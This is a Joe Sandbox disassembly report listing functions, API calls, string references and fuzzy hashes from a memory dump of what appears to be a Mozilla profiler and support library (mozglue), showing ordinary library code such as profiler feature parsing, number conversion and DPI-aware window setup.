(root), xrefs: 6CB8354F
ProfileBuffer parse error: %s, xrefs: 6CB82E3B
expected a Time entry, xrefs: 6CB82E36

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 6b0d9b5cc1da4506d310880e6fe2f90a3f97482100e2613c6611c348e467c3cb
Instruction ID: 3d335e47aae4910e4146da4e832cf69bdf4c37b503d4ca63faa226bfcaa51683
Opcode Fuzzy Hash: 6b0d9b5cc1da4506d310880e6fe2f90a3f97482100e2613c6611c348e467c3cb
Instruction Fuzzy Hash: B191AEB06097C18FC724CF28C4946AEBBE1EF89358F50491DE99A87791EB30D949CB53

Function 6CB99E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CB99F3D
__aulldiv.LIBCMT ref: 6CB99F77
__aullrem.LIBCMT ref: 6CB99F8C
__aulldiv.LIBCMT ref: 6CB9A023

Strings

-Infinity, xrefs: 6CB99E60, 6CB99E7B
NaN, xrefs: 6CB99EAB

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: d3e0830b353454590a981a8b7b7b062950f1539a050298ccaccd3343f3e75880
Instruction ID: 6388eb1584c8a55ae2a783cc1b3f7ca00a63f35aa0777743d8b966ed82093615
Opcode Fuzzy Hash: d3e0830b353454590a981a8b7b7b062950f1539a050298ccaccd3343f3e75880
Instruction Fuzzy Hash: 47C1A131E043A88FDF14CFA9C8507AEB7BAFB86714F144529D406ABB80D771A949CF91

Function 6CB3D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6CB3DC7F
-, xrefs: 6CB3D7DD
0, xrefs: 6CB3D852
8, xrefs: 6CB3DC08
, xrefs: 6CB3DA88
1, xrefs: 6CB3DBDD
@, xrefs: 6CB3DAF6
9, xrefs: 6CB3DE7F

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: acad62a4625e976f768b6594f211dd8f2e252c8c792dfd5b53d9724a1a359bad
Instruction ID: 75f28b015a9fa4c194293eac61e4616ac62bb19cee742b4c75b6a0e642a4f75b
Opcode Fuzzy Hash: acad62a4625e976f768b6594f211dd8f2e252c8c792dfd5b53d9724a1a359bad
Instruction Fuzzy Hash: 7362AF7062C3E58FD701CE38E49075ABBE2EF86318F186A0DE8D94BA91D3359945CB53

Function 6CB3BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB3C1CB
__aulldiv.LIBCMT ref: 6CB3C24C
__aulldiv.LIBCMT ref: 6CB3C348
__aullrem.LIBCMT ref: 6CB3C365
__aulldiv.LIBCMT ref: 6CB3C37D

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 0c503a813b916f1d6e573deb8661bdc0e9c282d42e910d22aa6d89a41fbfff66
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 69320432B046618FC718DE6CC89065ABBE6AFC9310F09876DE899CB395D734ED05CB91

Function 6CBA545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CBA8A4B

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 4e7a386072acfb5a6b41d6d05c247296427c29364a6c5825998f69d9a9c05719
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 44B1E972E0425A8FDB24CFA8CC907DDB7B2EF85314F1402A9C589DB791D731998ACB91

Function 6CBA542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CBA88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CBA925C

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 368692778da4ae5144dc4d9564aa5635a4803c2ad131d3b2023054c65f069aec
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: CAB1C672E0424ACFDB14CF98CC816EDB7B2EF85314F140269C589DBB95D731A99ACB90

Function 6CB76CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CB76D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB76E1E

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 93b5af5974aae205e6d7094c47b2ea6e8cdf2249c0d7bc7ec22710ebf6cb1fd9
Instruction ID: 9d9b37a7d8067232863c9faeed767b92fc6a439e4fa432ce1f7912d093526db0
Opcode Fuzzy Hash: 93b5af5974aae205e6d7094c47b2ea6e8cdf2249c0d7bc7ec22710ebf6cb1fd9
Instruction Fuzzy Hash: A8A180746183808FCB25CF24C4907AEFBE1FF89308F45491DE89A8B751DB70A948CB92

Function 6CB985F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB98C7C
__aulldiv.LIBCMT ref: 6CB98DD7

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 09575fb517543611b454e40248c06c3f2487bfaf68720ac68cd95b47f340ca4c
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D8328F31F001598BDF18CEACC8A17AEF7B2FB89300F15853AD50ABB790DA359D458B91

Function 6CB75C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CB44A63,?,?), ref: 6CB75F06

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 7eca39ed3f786e5b8685f69b8994858fb45468c459bace6a6b5372993f03566a
Instruction ID: 12ae87ffda41ca3c89e4db779cd8d7b7415843ddd2acd477144eaa55474bea10
Opcode Fuzzy Hash: 7eca39ed3f786e5b8685f69b8994858fb45468c459bace6a6b5372993f03566a
Instruction Fuzzy Hash: B0C1E275D012998BCF14CFA5C5906EEBBF2FF89318F28415DC8656BB44D732A809CBA4

Function 6CBA76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c1a2f7d2470bb7d99b474eedb746bafae49733ccf4e2fa1ff4d33f381cb17bae
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 4F321971E086598FCB14CF98C890A9DF7B2FF88304F64816AC449A7749D771A986CF90

Function 6CBA6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 87e3fe708a012aaf36f5e2c6cb1a88d6a907023b8df18fae180c312fec7f70c6
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 7922F9B1E042598FCB14CF98C880A9DF7F2FF88304F6481AAC589A7745D771A986CF90

Function 6CB60512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 80240bd638c7c1a6c3a46b2904cd13a94e51e30deae2cc010266065ceeed8a27
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 80221771E046598FCF14CF99C890AADF7B2FF88304F588599D44AA7B45D731A986CF80

Function 6CBAAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c71651ab1d2170ad4d72ec6e7752ce4abf419c251577096f421b9efc73fb9864
Instruction ID: 2c0d2217fac5e70c9189465cca28748d38d2bbb1d9c412b76ef42561a14e582f
Opcode Fuzzy Hash: c71651ab1d2170ad4d72ec6e7752ce4abf419c251577096f421b9efc73fb9864
Instruction Fuzzy Hash: 80F1287160C3855FDB00CEA8C8907AEB7E6EFC5318F148A1DE4D487781E375984A8FA2

Function 6CB3C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 9dba4799ede96040003c41e76d77fb28f5157903d192d8248d99130dcff8f254
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 14A1A375F0062A8BDB08CEA9C8913AEB7F2EFC8355F158229DD19E7781D7345D068B90

Function 6CB955F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CB6E1A5), ref: 6CB95606
LoadLibraryW.KERNEL32(gdi32,?,6CB6E1A5), ref: 6CB9560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CB95633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CB9563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CB9566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CB9567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CB95696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CB956B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CB956CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CB956E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CB956FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CB95716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CB9572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CB95748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CB95761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CB9577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CB95793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CB957A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CB957BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CB957D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CB957EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CB957FF

Strings

StretchDIBits, xrefs: 6CB957CC
ReleaseDC, xrefs: 6CB95742
gdi32, xrefs: 6CB9560A
MonitorFromWindow, xrefs: 6CB9578D
GetThreadDpiAwarenessContext, xrefs: 6CB9562D
LoadIconW, xrefs: 6CB9575B
GetWindowDC, xrefs: 6CB95710
EnableNonClientDpiScaling, xrefs: 6CB95666
FillRect, xrefs: 6CB95729
SetWindowPos, xrefs: 6CB956F7
DeleteObject, xrefs: 6CB957F9
ShowWindow, xrefs: 6CB956DE
LoadCursorW, xrefs: 6CB95774
CreateSolidBrush, xrefs: 6CB957E4
user32, xrefs: 6CB95601
AreDpiAwarenessContextsEqual, xrefs: 6CB95637
RegisterClassW, xrefs: 6CB956AC
GetMonitorInfoW, xrefs: 6CB957A2
CreateWindowExW, xrefs: 6CB956C5
GetDpiForWindow, xrefs: 6CB95690
SetWindowLongPtrW, xrefs: 6CB957B7
GetSystemMetricsForDpi, xrefs: 6CB95677

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 1935b1c696faca72006475bfbf5368048ac19d91d5b2975527e86e0e35e831ad
Instruction ID: 7c912caca707252b29db4a73cfa499692df27865c9857dcf7c24ecec6c7de60d
Opcode Fuzzy Hash: 1935b1c696faca72006475bfbf5368048ac19d91d5b2975527e86e0e35e831ad
Instruction Fuzzy Hash: CE51517C6413826BDB019F75CE8496A3BB8EB072567108939B952E3A52EF70CC04CF79

Function 6CB7CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CB4582D), ref: 6CB7CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CB4582D), ref: 6CB7CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CBAFE98,?,?,?,?,?,6CB4582D), ref: 6CB7CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CB4582D), ref: 6CB7CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CB4582D), ref: 6CB7CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CB4582D), ref: 6CB7CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB4582D), ref: 6CB7CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CB7CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CB7CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CB7CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CB7CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CB7CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CB7CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CB7CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CB7CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CB7CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CB7CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CB7CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CB7CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CB7CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CB7CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CB7CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CB7CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CB7CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CB7CE8A

Strings

samplingallthreads, xrefs: 6CB7CE2C
preferencereads, xrefs: 6CB7CD92
java, xrefs: 6CB7CC37
Q^, xrefs: 6CB7CD25
jsallocations, xrefs: 6CB7CD0E
cpuallthreads, xrefs: 6CB7CE16
audiocallbacktracing, xrefs: 6CB7CDD4
mainthreadio, xrefs: 6CB7CC7C
fileio, xrefs: 6CB7CC92
processcpu, xrefs: 6CB7CE6E
unregisteredthreads, xrefs: 6CB7CE58
screenshots, xrefs: 6CB7CCD4
nativeallocations, xrefs: 6CB7CDA8
markersallthreads, xrefs: 6CB7CE42
noiostacks, xrefs: 6CB7CCBE
stackwalk, xrefs: 6CB7CCF8
seqstyle, xrefs: 6CB7CCE6
notimerresolutionchange, xrefs: 6CB7CE00
Unrecognized feature "%s"., xrefs: 6CB7CEA0
default, xrefs: 6CB7CC21
nostacksampling, xrefs: 6CB7CD7C
power, xrefs: 6CB7CE84
ipcmessages, xrefs: 6CB7CDBE
fileioall, xrefs: 6CB7CCA8
leaf, xrefs: 6CB7CC66

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$Q^$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1065946776
Opcode ID: 500be128bf5ff5aa7d9a8268017b1e9563552f4f09f8d8806a70a654b9ba9403
Instruction ID: 708ca8e79b20dca5edc7ae931a160afa86afc7cbbabd9e2f5258f6e86a6af1f0
Opcode Fuzzy Hash: 500be128bf5ff5aa7d9a8268017b1e9563552f4f09f8d8806a70a654b9ba9403
Instruction Fuzzy Hash: C551A8C59492F522FE2034552E10BBF2484EB5225AF10403EEDA9A6F80FF55A70B47B7

Function 6CB44470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB44730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CB444B2,6CBBE21C,6CBBF7F8), ref: 6CB4473E
Part of subcall function 6CB44730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CB4474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CB444BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CB444D2
InitOnceExecuteOnce.KERNEL32(6CBBF80C,6CB3F240,?,?), ref: 6CB4451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CB4455C
LoadLibraryW.KERNEL32(?), ref: 6CB44592
InitializeCriticalSection.KERNEL32(6CBBF770), ref: 6CB445A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CB445AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CB445BB
